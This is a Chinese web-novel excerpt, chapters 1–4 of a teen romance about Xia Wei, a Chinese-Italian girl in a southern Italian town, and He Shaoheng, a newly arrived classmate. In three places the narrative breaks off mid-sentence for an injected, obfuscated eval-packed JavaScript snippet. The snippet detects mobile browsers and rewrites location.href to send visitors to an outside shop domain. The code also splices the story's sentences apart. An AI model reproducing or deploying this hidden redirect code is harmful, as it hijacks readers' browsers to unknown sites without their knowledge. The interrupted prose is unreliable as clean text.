《南意小时光》 1. 撞车 意大利南部,R镇。 这座公元一世纪建成的小镇,雄踞山顶,面朝大海,古朴而安详。一幢幢彩色房子沿着悬崖层叠排开,俯瞰着山下碧蓝的第勒尼安海,两条石阶在阳光下犹如银白的小溪,迤逦着伸向海边金黄色的沙滩。 清早,夏薇从小镇西端的家中匆匆走出,一分钟前喝下的意式咖啡香味仍在唇舌间萦绕。她裹紧身上宽松的工装外套,然后跨上单车,往学校骑去。 这个时候,夏薇在R镇已住了整整十六年。 夏家是镇上唯一的华裔家庭,自从那一年夏父因考古工作缘故,带着身怀六甲的妻子定居当地,十六年来,他们一家再也没有返回过万里关山外的故国。 今年十六岁的夏薇,有一张典型的东方面孔,鹅蛋脸,杏核眼,柳叶眉,樱桃嘴,要不是暑假里的日光浴将肌肤晒成了健康的小麦色,她看上去几乎就是刚从中国画里走出的古代美人。 时间还不到八点,整个小镇尚在沉睡之中,只有车轮轻微的转动声,碾碎了清晨的寂静。 夏薇就读的T高中,位于小镇地势最低的主街上,所以从家里骑往学校,一路上几乎全都是顺滑流畅的下坡。 单车不受约束的飞驰着,仿佛在追逐空中那几只白色的海鸟,从海面上拂来的微风,轻快的掠过她的两颊。 青春是欢愉而无拘无束的,她热爱这种速度带来的快感,也热爱一切刺激而新鲜的生活。 清晨的寂静中,忽然“吱嘎”一声,车轮发出刺耳的尖叫。少女两只纤美的手以惊人的力量,同时捏紧了左右两边刹车闸。 高速运转的车轮陡然停下,由于巨大的惯性,夏薇的身子也从座位上弹起来,跌跌撞撞的向前冲出几步。 等她再次站稳的时候,刚好站在了一个人面前。 那是睡在街边长椅上的一名流浪汉,全身酒气熏人,满脸胡子拉碴,一头剪不断理还乱的长卷发,几乎完全掩盖了他本来白净的面容。 刚才流浪汉在睡梦中一个翻身,竟然跌下长椅,骨碌碌往马路中心滚来。要不是夏薇眼疾手快的急刹车,险些就要酿成R镇本世纪以来的首次交通事故。 四周仍是静悄悄的,没有旁人看见她出洋相,也许是唯一值得庆幸的事。 夏薇却来不及感到庆幸,反而一个箭步冲上去,推了推那流浪汉,惊讶大呼:“朱塞佩,是你!你怎么醉成这个样子?刚才我差一点就撞上你……” 一块中心广场,一条主街,一座大教堂,几乎构成了R镇日常生活的全部。在这样一个弹丸之地,居民之间往往互相熟识,从小长于斯的夏薇,当然也认识朱塞佩多年了。 只不过,上个月见到朱塞佩的时候,他还是银行办公桌前风度翩翩、意气风发的职员,与眼前肮脏潦倒的“流浪汉”完全判若两人。 在这么短的时间里,原本阳光上进的青年,怎会发生这样可怕的变化? 此时的朱塞佩,全然不顾形象,四仰八叉睡在马路上,而且还在呼呼的打鼾。 那鼾声简直像是野猪在咆哮。 夏薇对准他的耳朵,也开始咆哮:“嘿,听到我的话了吗?马路上可不是你睡觉的地方,要睡就回家里去睡!” “君子动口不动手,淑女动口也动手。”夏薇就是这句话的身体力行者。她使出全身力量,猛烈摇晃着朱塞佩,摇得他全身每块骨头都格格作响,脑袋在地面咚咚的砸。 这种摇法,就算死人也会被她吵醒。 朱塞佩终于迷迷糊糊醒来,乜斜着醉眼,低声咕哝:“是你,薇……你在这里做什么?” 夏薇没好气的瞪他:“这句话应该我问你才对……请问你为什么会出现在这里?这个钟点,你不是应该睡在自己家里的床上吗?” 朱塞佩忧伤的蓝眼睛变得黯淡了,勉强笑了一笑,那笑容却有说不出的苦涩。 夏薇不禁有些吃惊,在她十几年的记忆里,从来没有见过一个人流露出这样的神色。 她迟疑着问:“你昨天一整晚都没有回家?” 朱塞佩摇摇晃晃的从地上爬起来,口中喃喃有词:“回家?……是的,每个人都有他的家,可是我呢,我却没有家了……” 夏薇追问:“出了什么事?你说出来,也许我可以帮得上忙。” 朱塞佩痛苦的摇了摇头:“你帮不了我,没有任何人能够帮我……” 他半闭着眼睛,脚步蹒跚着,又向街边那张长椅挪过去,然后一头躺倒在上面,大约三秒钟后就发出鼾声。 这次,也不知道他是真的睡着,还是假装睡着? 夏薇只知道,一个假装睡着的人,不管用什么方法也叫不醒他了。 她皱起眉头,自言自语:“奇怪……在这家伙身上,究竟发生了什么怪事呢?” “当当当!……”远处教堂的钟声猝不及防的响起,把夏薇吓了一跳。 她急忙扶起倒在地上的单车,敏捷的跳上去,回头喊道:“上课快要迟到了……朱塞佩,晚一点我再来找你……” 刚骑出去几米远,夏薇像是忽然想起什么,又折返回来,脱下自己的工装外套,盖在沉睡的朱塞佩身上,然后才重新赶往学校。 清早的这一幕插曲,多少扰乱了夏薇原本平静的心绪。她看到朋友的烦恼,自己却爱莫能助,而人间的烦恼如此无孔不入,哪怕在这世外桃源般的小镇也难以避免。 前面转角的地方,临街立着一幢醒目的三层巴洛克建筑,那是镇上最大的旅行社。门口竖立的巨幅广告牌上,一个真人大小、身材热辣的比基尼女郎正在抛出飞吻,提示着这里是个远近有名的海滨旅游胜地。 的确,每年一到夏季,山下的海滩就变得热闹非凡,密密麻麻的人群堪比诺曼底登陆。但在这秋意渐浓的十月份,游客的数量随着枝头的树叶一起日渐减少,因此不到下午,旅行社通常总是闭门谢客。 夏薇心中仍记挂着朱塞佩,不免有些出神,不知不觉,脚下的单车被她蹬得飞快,快得像一匹脱缰的野马。 所以,等她看到旅行社门口忽然走出的那个人影时,已经来不及闪避。 从背后看去,那人身躯修长,肩头挎着背包,手捧一册书本,头上还戴着个硕大无比的橄榄球头盔。 这怪异的头盔男,正专心埋头在那本厚厚的大书中,自然也完全没有发觉身后“超速行驶”的夏薇。 “砰”的一声巨响,夏薇和对方终于猛烈相撞! 头盔男被撞得失去了重心,情急中想找个凭依,身子便向路旁的广告牌扑过去,抱着“比基尼女郎”一起摔在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923732|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夏薇的情况也不比他好多少。她跌得头晕脑胀,挣扎着从地上站起来,花了几秒钟才弄明白发生了什么事。 她急忙向头盔男奔了过去,带着满脸歉意:“对不起,实在对不起……这位先生,你有没有摔伤?”伸出一只手想要扶他。 头盔男一下就握住她伸来的手腕,握得那么用力,几乎要把她的骨头捏碎。 他一言不发,从“比基尼女郎”身上爬起来,伸手摘下了头盔。 夏薇终于看到了他的脸。 这竟是一个年方十六七岁的亚洲少年,头发像漆黑的缎子,肌肤像洁白的象牙,眉毛像锐利的剑锋,眼睛像初升的星星,五官轮廓则像是大理石做的阿波罗雕像。 夏薇不得不承认,即使在盛产美男子的意大利,这少年的脸孔也足以吸引每一个年轻女孩的目光。 只不过,这俊逸不凡的少年,神情却是清冷而孤傲的,就像是黑夜里的鹰。 他冷冷的盯着面前闯祸的少女,用意大利语吐出一句话:“走吧,跟我到警察局去一趟!” 这亚洲少年的意大利语虽然有些不太纯熟,但夏薇却听懂了。 心脏马上像打鼓一样狂跳起来,一个念头电光火石般在心中闪过—— 她终于荣膺R镇本世纪以来的第一名交通肇事者,明天的《R镇新闻报》头版上,会刊登出她戴着手铐的巨幅照片吗? 她只希望自己的罪名不要判得太重! 少年仍然紧攥着她的手腕,拽着她往警局方向走,一面冷冷说道:“算你倒霉,我身上一分钱也没有带,你想抢劫我,那可是找错人了。” 夏薇不由得怔住了,愕然反问:“你……你以为我要抢劫你?” 少年将自己的背包捂紧了些,目光中充满警觉:“很明显,你就是新闻里臭名昭著的‘飞车党’,看到我是个外来面孔,所以故意挑我下手。” 夏薇惊奇得睁大了眼睛,对这凭空落在自己身上的罪名,一时之间,不知该如何辩白。 这时她忽然瞥见,少年身上穿的外套里,露出一件古怪的黑色背心,那款式她在警匪电影里见过好几次。 夏薇迟疑着问:“你穿在外套里面的,好像是……是一件防弹背心?” 少年仍是冷冰冰的样子:“是又怎样?” 夏薇瞪着他半晌,突然弯下腰发出一阵狂笑,笑得眼泪都流出来了。 在许多外国人甚至本国人看来,意大利南部是欧洲最危险的地带之一,那里的大街小巷终年流窜着横行无忌的飞车党,要么就是持枪火拼的黑手党,外来的人一到这个“土匪窝”,随时可能被抢走财物,甚至丢掉性命。 这些传闻实在太有名,也太吓人,怪不得这亚洲少年要如临大敌,全副武装,防弹背心和头盔齐齐上阵。 夏薇眼波一转,又瞥见少年刚才掉落在地上的书——厚厚的一本《意大利南部生活安全指南》。 她越来越觉得这少年十分有趣,大笑更止不住了。 清晨的微风吹拂着书页,少女的笑声忽然停顿,目光落在书本敞开的扉页上。 原来在那扉页上,醒目的黑色墨水题着三个挺秀的中国汉字。 夏薇像朗读课文似的,一字一字大声读出少年的姓名:“何少蘅。” 2. 吊坠 何少蘅被她准确无误的发音吓了一跳,脱口道:“你会说汉语?你也是中国人?” 夏薇笑笑:“你看不出来?” 何少蘅目露怀疑之色,打量着她晒成小麦色的脸庞:“中国人很少像你这样……我以为你是菲律宾人或马来人。” 夏薇耸耸肩膀,又轻松的笑了笑:“像你这样,脸白得跟吸血鬼似的中国人,倒也少见得很。” 她从小在大大咧咧、生性乐天的意大利人当中长大,随口开玩笑已是家常便饭,这句打趣的话其实并没有什么恶意。 何少蘅的面颊却有些发烫,苍白的脸上也泛起一丝红晕。 他觉得自己受了这少女的嘲弄,正要措辞反唇相讥。 夏薇不给他时间思考,紧接着追问:“你是刚来这里的?来旅行吗?打算呆多久?” 在这天涯海角的异国小镇,中国人就像动物园的大熊猫一样稀罕,她对这少年更感到十分好奇,忍不住要打破沙锅问到底。 何少蘅本来不想再理睬她,但还是耐着性子回答:“家父的公司正在意大利南方拓展业务,带着全家移居到这里,两天前我才刚搬来R镇,不过在中国的时候,我已经预先学了半年多的意语。” “怪不得你的意语说得不错。但你怎会从旅行社走出来呢?你难道住在那里?”夏薇像是个八卦周刊的记者。 “家父还有些工作上的事情,需要留在那不勒斯处理,另外我们的新家也没有完全装修好,所以暂时让我寄宿在他的朋友、旅行社的马西莫先生家里。哪知道今天刚一出门,差点就被你……” 何少蘅说到这里,故意停顿住了,希望看到少女脸上歉疚自责的表情。 夏薇完全没有听出他话中兴师问罪的意味,笑嘻嘻的接过话茬:“现在你该相信我不是飞车党了,因为中国人是不会抢劫中国人的。就像中国那句著名的话,‘本是同根生,相煎何太急’……” 她在家一向是意语和中文两种语言混着说,只不过说意语的时候多,说中文的时候少,今天好不容易逮到一个中国人,怎能不抓住机会,显摆一下自己半吊子的中文水平。 何少蘅淡淡回答:“我也听过几句意大利谚语,L\''apparenzainganna(外表会骗人),L\''abitononfailmonaco(人不可貌相)……很多美丽的女孩子,也会做抢匪的。” 话刚说完,他的脸突然又有些红了。 以他沉静内敛的中国人性格,竟然当面恭维一个刚认识的女生“美丽”,在他十六年的人生阅历中,简直是破天荒头一次,连他自己也觉得匪夷所思。 不过他很快就找到了安慰自己的理由——都怪今天早晨喝下的那杯意式浓咖啡,害得自己过度亢奋,胡言乱语。 夏薇对这种恭维倒是习以为常,在她十六年的人生阅历中,不知有多少不同年龄的意大利男生,曾经在不同场合称赞过她的美丽。 她又若无其事的开起了玩笑:“好吧,就算我是抢匪,能被一个如此美丽的女生抢劫,那也是你的荣幸。因为中国还有一句著名的话,‘蔷薇花下死,做鬼也风流’!” 听到这句天马行空的中文,冷冰冰的少年几乎也忍不住要笑出来。 何少蘅马上纠正:“你说错了,应该是牡丹花下死,做鬼也……” 说到一半,他忽然觉得有些不对劲——这少女把自己比喻作花,那他呢,不就成了“鬼”吗? 她一定是在拐弯抹角的骂人! 这少女已经暗搓搓的嘲弄他好几次了,是可忍,孰不可忍?以何少蘅骄傲的性格,是从来不肯在任何人面前示弱的,他决心一定要反击! 夏薇哪里猜得出这敏感少年的心思,仍在自说自话:“别人是牡丹花,但我却是蔷薇,夏天的蔷薇……” “夏天的蔷薇?” “没错,因为我的中文名字就叫‘夏薇’……”她又露出了那标志性的人畜无害的笑容,“请问你什么时候才能放开我的手呢?” 何少蘅本来把她当作抢匪,要拉着她去警局,没想到和她两手相握,还说了这么多话,这时一经提醒,忙不迭的放开了少女柔滑的手腕。 他干咳几声,转移话题道:“嗯,原来你叫夏薇。刚才你骑得那么快,是不是在赶时间?” 夏薇闻言一惊,差点跳了起来:“糟糕,这回真的要迟到了!” 跟何少蘅在路边纠缠半天,她已经完全忘记了,自己本来是要去学校的,这时匆匆丢下一句“很高兴认识你”,跳上单车就要离去。 何少蘅一伸胳膊,修长的手指拉住了单车后架。 夏薇回过头,奇怪的看了他一眼:“咦,你又有什么事?” 何少蘅冷冷看着她:“你刚刚撞了人,难道就假装什么事也没有发生过?” “可是你看起来应该没有受伤……” “看起来没有受伤,也许内脏已经受了伤,也可能我得了脑震荡,需要去医院做个全身CT检查,才能让自己放心。” 一瞬之间,夏薇脑海中掠过昨天的晚间电视新闻——《意大利X地发生道路碰瓷,男子假装被撞勒索司机》。 她苦着脸回答:“你在跟我开玩笑吗?我只是一个学生,哪有那么多钱去做什么CT检查……” 何少蘅倒没有继续为难她:“付不起钱也没关系,你至少可以付出劳动。” “劳动?”夏薇反问。 “你看看这里,还有这里,被你弄得这么脏……你有责任把它洗干净。” 何少蘅指了指自己的浅蓝色牛仔裤,左侧果然印着一条乌黑的车轮印子,靠近膝盖的地方也沾着尘土,显然是刚刚摔在地上弄脏的。 夏薇睁大了眼睛:“你要我帮你洗裤子?” 何少蘅不说话,仿佛这是一件天经地义、理所当然的事情,根本不需要回答。 他一只手仍拉住单车,另一只手慢慢向腰间的纽扣移过去。 夏薇的脸突然有些泛红,红得像夏天的蔷薇。 她咬着嘴唇,小声道:“你能不能回家换条新的,再出来把脏裤子给我?” “我才不会上你的当,”何少蘅目光更冷,一口回绝了她的提议,“等我出来的时候,你一定早就溜掉了。” 在他说这几句话的时间里,手指并没有停止动作,马上就要解开牛仔裤的纽扣。 看这少年的外表,明明挺正常的,谁知他的行为却像个精神病院里刚逃出来的疯子? 只有疯子才会在大街上脱下自己的裤子! 夏薇的脸更红了,突然大叫一声:“原来你……你真的是个变态!” 不等他采取进一步举动,夏薇不知哪来的力气,在踏板上用力一蹬,单车终于从对方掌握中挣脱出来。 她根本不敢回头,一溜烟骑得影子都看不见了。 何少蘅看着她落荒逃走的背影,清冷的俊颜上第一次露出了笑意,像是冰雪在春天的阳光下溶解。 干得漂亮!他终于成功戏弄了夏薇,他终于胜利了!想到这里,他不禁笑得更愉快,笑得像个顽皮而慧黠的孩子。 十六岁的少年,有时候固然早慧而老成,但在另一些时刻,他又会变回一个天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923733|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的孩子,尤其当他遇见有意思的同龄女孩子时。 何少蘅带着愉快的心情,正要转身离开,忽然之间,目光落在地面一件闪闪发光的物件上。 他将那物件捡起来,原来是一个小小圆环,上面串着一把钥匙和一枚吊坠,在清晨的阳光中散发出柔和的淡金色光泽。 钥匙是普通的钥匙,椭圆形的吊坠却十分精巧,可以对半打开。 打开吊坠,只见里面嵌着一张已经泛黄褪色的老照片。照片中是个二十来岁的年轻男子,长着一张酷似夏薇的脸,就连那满溢出相框的恣意笑容,也跟夏薇完全一模一样。 这枚吊坠,是不是夏薇刚才跌倒时无意中掉落的? 照片中的男子又是什么人呢? 何少蘅沉思的盯着那照片,过了片刻,将钥匙和吊坠小心的塞进自己外套口袋,然后拐进狭窄的街巷走远了。 上午的课程已过去一半,夏薇仍然没有觉察自己丢了东西。她正伏在T高中的老式木质课桌上,无精打采的补着上节课的笔记。 T高中坐落在一座历史悠久的中世纪建筑内,带有美丽的罗马式山墙和拱廊。学校古老而典雅的外表,常常被过路的游人当作名胜景点,他们成群结队的涌入校园,要么四处拍照,要么借用厕所,要么探头探脑的往教室里张望,引得学生们一阵哄笑,教师和校方则不胜其扰。 为了一劳永逸的解决这个麻烦,学校最近在大门口显眼的地方贴出告示,对好奇的游人下了逐客令:“闲杂人等勿入!我们是一座学校,不是博物馆、教堂或公厕!” 从此以后,校园终于恢复了往日的宁静。 现在是课间休息时间,同学们有的三五成群聚在窗外说笑,有的在座位上看书或发呆。教室前方,黑板上仍留着前一节历史课老师留下的标题:“LaMarinaItalianaNellaSecondaGuerraMondiale(二次大战中的意大利海军)”。 夏薇恹恹的打了个呵欠——意大利海军?多么无趣的一堂课!半个世纪前这班穿军服的意大利糙汉子,对于她有什么意义呢? 一个正常的花季少女,感兴趣的自然也应该是另一个花季的少年。 不知什么缘故,夏薇脑海中忽然掠过何少蘅的影子,以及上次见面时他大胆张狂的举动。 她脸上微微一热,厌恶的撇了撇嘴,低声骂了一句“maiale!(意为猪头或色狼)”,又埋头到笔记本中去了。 好不容易抄到最后一行,夏薇的肩膀冷不防被人猛拍了一下。一个声音激动的尖叫着:“薇!你还没有听说吗,出大事了——” 听到这个比花腔女高音还高八度的声音,夏薇不用回头,就知道是她的同班死党弗洛伦蒂娜来了。 弗洛伦蒂娜是个高大如铁塔、健壮如奶牛的女生,一向喜欢夸张浓艳的打扮。今天的她画着蓝色系眼妆,染成樱草黄的长发扎在脑后,一件甜橙色紧身衣勾勒出过于丰满的身材,看上去活像是动画片《魔法俏佳人》里的主人公。 弗洛伦蒂娜身上的情感和她的营养一样过剩,一有风吹草动就容易一惊一乍,大呼小叫。对她而言,昨晚吃了三盘意面,或是被蚊子咬了一个包,都可以算作“大事”。 夏薇带着友善而理解的微笑,看着弗洛伦蒂娜,就像宽容的母亲看着她的傻孩子:“告诉我,这次又发生了什么大事?” “妈妈咪呀(我的天哪)!”弗洛伦蒂娜挥动两只肥硕的手掌,做了个夸张的手势,“就在下星期五晚上,恩佐要在他家的别墅里开——睡——衣——派——对!” 3. 新生 在这个不到二十人的班级里,恩佐是一名稀缺的五好学生——功课好,性格好,家境好,身材好,颜值好。一副T台男模般的健美身材,一双清澈如地中海的蓝眼睛,不知迷倒了多少女生,其中当然也包括弗洛伦蒂娜。 如此优秀的男生,居然还是班上硕果仅存的钻石王老五——他竟然还没有女朋友! 这也许要归因于恩佐家中严格的家教。据说他的家族是传统的天主教徒,限制孩子过早恋爱,而且只有当他年满十六周岁,算是一个准成年人了,才允许在自己家中举办派对。 听见这个激动人心的消息,夏薇像弹簧般跳起来,振臂欢呼:“Bravo(棒呆了)!这真是个好消息,我已经等不及到下周了!” “咦,你怎么也开心成这个样子?”弗洛伦蒂娜有些警惕的看着她,“难不成你也迷上了恩佐?” “哪里的话!我是为你感到开心……”夏薇忍住笑意,赶紧解释,“你放心好了,并不是每个人都像你一样,对恩佐迷恋得要死要活的。” “那样最好,我算是少了个情敌,”弗洛伦蒂娜如释重负,长吁了口气,“薇,你真是个怪人,好像什么样的美男子也看不上似的……我真想不出,你以后到底要找个什么样的男友?” 在意大利,很多十六岁的少女早已换过好几任男友,以夏薇的外形条件,到现在却还是“孤家寡人”,弗洛伦蒂娜为此常开她玩笑,说她天生就是个当修女的料。 “一个女生并不是非要找男友不可……”夏薇摊了摊手,“也许我对男生没有太大的兴趣呢。” “难道你对女生感兴趣?你……你不会是看上了我吧?”弗洛伦蒂娜装出好害怕的样子,一下往旁边跳开几步。 “神经!”夏薇轻轻拍了一下她的头,又问:“对了,恩佐要举办派对的消息,是第一个告诉你的?他跟你的关系很不一般嘛……”夏薇冲着她坏笑。 弗洛伦蒂娜却摇了摇头,慢吞吞的说:“这个消息是恩佐告诉了朱丽艾塔,朱丽艾塔告诉安琪拉,安琪拉又告诉了玛莉卡……最后我才从玛莉卡那里知道的。”她的神情看上去有些失落和沮丧。 的确,像恩佐这样的人类高质量男生,身边永远围绕着着形形色色美丽的女孩子,跟她们比起来,弗洛伦蒂娜实在太过普通了。 到目前为止,恩佐当面对她说过的话只有两句——一句是“早安,弗洛伦蒂娜”,另一句是“明天见,弗洛伦蒂娜”。就是这样寻常的两次问候,她也要像翻看旧相簿似的,时不时拿出来回味半天,然后陷入一种甜蜜而忧伤的心情中去。 “振作一些!”夏薇拍拍她的肩膀,“好好准备一下,这次派对可是你接近恩佐的好机会,到时候我这位恋爱专家也会指导你……” “你!恋爱专家?”弗洛伦蒂娜被她逗乐了,声若洪钟的大笑起来。 “你不知道吗,理论的专家也是一种专家……”毫无恋爱经验的夏薇,对自己有一种迷之自信。 短暂的课间休息,在两个女生的闲聊中很快过去。下节课的钟声响起,同学们像傍晚归巢的鸟儿一样,三三两两回到自己的座位上。 “噔噔噔……”一阵先声夺人的高跟鞋声音过后,妆容精致、身姿窈窕的M老师走了进来。 她站到讲台前,笑容可掬的面向全班:“早上好!有一个好消息告诉大家,今天我们班来了一位新同学,我给你们介绍一下……” 在小镇中学,来了新同学绝对是轰动性的大新闻,全班几十道好奇的目光,登时齐刷刷移向门外。 从敞开的教室门外,正在徐徐走进一名个子很高的亚洲少年。 他竟然是何少蘅! 夏薇马上像沙堆里的鸵鸟一样,把头埋进课本,只希望他看不见自己。可是何少蘅一下子就看见了她,还冲着她眨眨眼睛,算是打招呼。 不知是不是自己的错觉,夏薇总觉得他的眼神里带着一种特别的意味。 他看起来是那么可恶,那么装模作样! 何少蘅眨眼的举动,落在其他人眼里,却产生了另一种解读——意大利人一向喜欢抛媚眼,算是一种调情的方式。 班上的女生们瞬间被撩到了。她们像通了电一样激动起来,交头接耳议论着新来的同学: “噢,他多可爱啊!” “嘿帅哥,你叫什么名字?” “原来亚洲人也可以长得这么立体,他简直是行走的雕塑,人间的阿波罗……” “唉!我涂多少睫毛膏,也比不上他的睫毛漂亮。” “他的脸太苍白了,活像刚做好的山羊奶酪。”一个男生不服气的插了一句。 M老师清了清嗓子,让大家安静下来,接着介绍道:“何少蘅是从中国来的同学,今早刚办好入学手续,希望大家以后多关照他。当然,如果大家对中国有什么问题,也可以向他提问。” “请问你比较喜欢孔子,还是庄子?”第一个提问的是安东尼奥。他戴着厚厚的玳瑁框眼镜,总是目光深沉,因而被同学们戏称为“哲学家”。 “嘘——”大家觉得这个问题十分无聊,不约而同发出嘘声。 “你比较喜欢什么样的女孩子?”一个戴牙套的女孩大声问,这个勇敢的问题博得了一阵赞许的掌声和欢呼。 何少蘅向来不是一个容易局促的人,这时却也不禁有些尴尬。 作为一个标准的中国式好学生,他宁愿回答前面的那个问题——毕竟他对女孩子的了解,可远远不如对孔子和庄子。 “我知道他喜欢什么样的女孩子。”夏薇在座位上突然开口。 大家都回头。何少蘅没有想到夏薇会帮他解围,也向她看过来。 “上一次见到何少蘅的时候,他正躺在地上,和一个‘比基尼美女’抱在一起。”夏薇描述得绘声绘色。 所有的人都轰然大笑,男生们还吹起口哨,喧闹声几乎要把教室的屋顶掀翻。 何少蘅既不能否认,更不能承认,一张苍白的脸早已红得像晚霞。 他的眼睛不知该往哪里看,慌乱中,竟又碰上了夏薇的目光——那双如此美丽的黑眼睛里,带着一种恶作剧般的快意,似乎正在欣赏他的窘态。 何少蘅简直不知自己想笑,还是想哭。 偏偏M老师也不甘寂寞,加入了打趣他的行列:“我们班也有很多美丽的单身女生,也许你可以抓住机会,搞定她们,免得便宜了隔壁班那帮男孩。” 在意大利的大多数高中,谈恋爱没有限制,只要不做太出格的事,学生可以光明正大的在校内恋爱,老师不但不干涉,有时候还会很八卦的跟学生开玩笑。 大家又是一阵疯狂的乱笑,把这出“欢迎新生”的闹剧推向高潮。 意大利人的喧嚣和闹腾,中国新生今天算是领教了。 随着M老师一个手势,何少蘅终于长出了口气,像是刑满释放的犯人一样,飞也似的逃下讲台,坐到指派给他的座位上。 这该死的座位,竟然就在夏薇的隔壁! 这样安排的理由是——“新来的同学课本还没有买齐,若有需要,请夏薇把你的课本分享一下”。M老师还补充了一句:“你们都是中国同乡,相处起来一定会很愉快的。” 愉快个大头鬼! 他在全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923734|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班同学面前大出洋相,还不都是夏薇惹出来的? 何少蘅坐下来的时候,脸色像是能结成寒冰,一副生闷气的样子。 夏薇向他凑过来,小声搭讪:“那个……想不到我们这么快又见面了。” 何少蘅身子往后一靠,架起两条无处安放的长腿,一声不吭。 夏薇没有气馁:“今天早上在街上你捉弄了我,现在轮到我扳回一次,我们算是打了个平手。” 她向少年伸出一只友好的手:“你不会生我的气,对吗?” 纤小而柔软的手掌,仿佛清晨刚开放的荷花瓣儿,就在他的鼻子底下,简直没有哪个男生能够拒绝。 何少蘅目不斜视的盯着黑板,面无表情:“我一向有专心听课的习惯,如果你不介意的话,拜托闭上嘴好吗?” 伸出去的手僵在半空。 夏薇愣了几秒,才讪讪的抽回手,脸上的表情像个被当场捉住的小偷。 小气鬼! 像这样气量狭窄的男生,她这辈子还是头一次见识。 上午剩下的时间,就在令人窒息的沉默和冷战中度过。好容易捱到放学钟声响起,夏薇抄起背包刚要走,忽然听见“咚”的一声,一只巨大的纸袋落在何少蘅面前。 几个女生像雨后的蘑菇般冒出来,包围在他身边,她们是朱丽艾塔、安琪拉和玛莉卡。 “蘅,请收下我们给你的礼物!”三个女生异口同声说道,脸上洋溢着无比热情的笑容。 中国人的名字对于她们显然太过复杂,因此自作主张的被简化成一个奇怪的音节——意式发音把”g”念作”ge”,她们听上去像在叫“蘅哥”。 朱丽艾塔双手伸进纸袋,庄重的端出一只矮胖的带盖陶瓷碗。碗的四周装饰有当地特色的浮雕彩绘,青翠的绿叶映衬着明黄的柠檬,看起来极为赏心悦目。 打开盖子,里面的东西却不那么赏心悦目了。 那竟是满满一碗像浆糊、又像烂泥般的物体,颜色是脏乎乎的暗棕色,散发出的气味也令人一言难尽。 何少蘅不由自主屏住了呼吸:“你们实在太客气了……” “昨天听M老师预告有新生要来,我们几个商量了一下,特别为你准备了这份欢迎礼物,我想你一定会喜欢!”朱丽艾塔热情的说。 “这道食物在意大利很多地方已经失传了,就算在米其林餐厅也很少见。只有在我们家乡,你才能吃到最原汁原味的。”安琪拉满脸自豪。 “它的制作方法真的很复杂,我长这么大,也只吃过一次sanguinache……”玛莉卡舔了舔嘴唇。 夏薇从旁边凑过来,故意大声问:“你们昨天亲手杀猪放血的吗?” “没错!”三个女生的神情骄傲极了。 听到“杀猪放血”这句话,再看看碗里可疑的糊状物,何少蘅忽然觉得自己的胃里一阵翻腾。 夏薇向他眨眨眼睛,带着幸灾乐祸的笑意:“祝你好胃口,新生!” 她机敏的从纸袋里掏出一把白瓷勺子,伸到他面前晃了晃。 何少蘅横了夏薇一眼,恨不得用目光发射出一千把小刀,钉死这落井下石的少女。 他没有接过勺子,却很有礼貌的笑了笑:“这样难得的美食,我要是一个人独吞就太自私了。不如带回家里,跟家人们一起分享……” 谢天谢地,女生们总算没有再纠缠他,终于全部走光了。 等她们一走,何少蘅马上掏出手机,搜索刚刚记住的“sanguinache”这个词。 翻译软件弹出几个触目惊心的汉字:“猪血巧克力!” 4. 藏宝 “薇,一起去吃午饭吧?”学校大门外,弗洛伦蒂娜早已等得饥肠辘辘。 “没问题,这顿我请客,想吃什么随你挑……”夏薇豪爽的一挥手。 今天她的心情好到了极点,尤其一想起何少蘅尴尬困窘的样子,她更是几次三番在单车上大笑起来,惹得弗洛伦蒂娜频频侧目,像看疯子似的打量着她。 “丁丁咚……”仿佛在应和夏薇的笑声,手机铃声清脆的响起。 手指划过屏幕,夏薇的笑容就立刻凝固在脸上——因为新收到的消息显示,发送人是“妈妈”。 「下课后速回家。」夏母发消息像是发电报。 「我正要和同学去吃饭,什么事?」夏薇像猎犬般,嗅到了一丝不祥的气息。 「衣柜的抽屉什么时候被你锁上了?爸爸没有钥匙打开,正在家大发脾气。」字里行间,带着隐约的责备。 「他翻我衣柜干嘛?神经!」夏薇恼怒的输入回复,想了想,又删掉了“神经”这句话。 「回来再说。」 这算是单方面宣告对话终结了。 夏薇收起手机,叹了口气,向着弗洛伦蒂娜苦笑:“我妈。” 听到这两个言简意赅的字,弗洛伦蒂娜知道今天的大餐打了水漂,马上知趣的告辞了,临走前还不忘留下一句:“这顿饭改天再请,我会记在备忘录里的……” 夏薇向她挥了挥手,独自一人沿着海岸公路骑去。 这是个晴朗的秋日,远方的海水在太阳下闪动着粼粼金光。路边餐馆的门口坐满热闹的人群,桌上飘出葡萄酒和披萨饼的香气,拍岸的浪涛声一阵阵从山下传来。 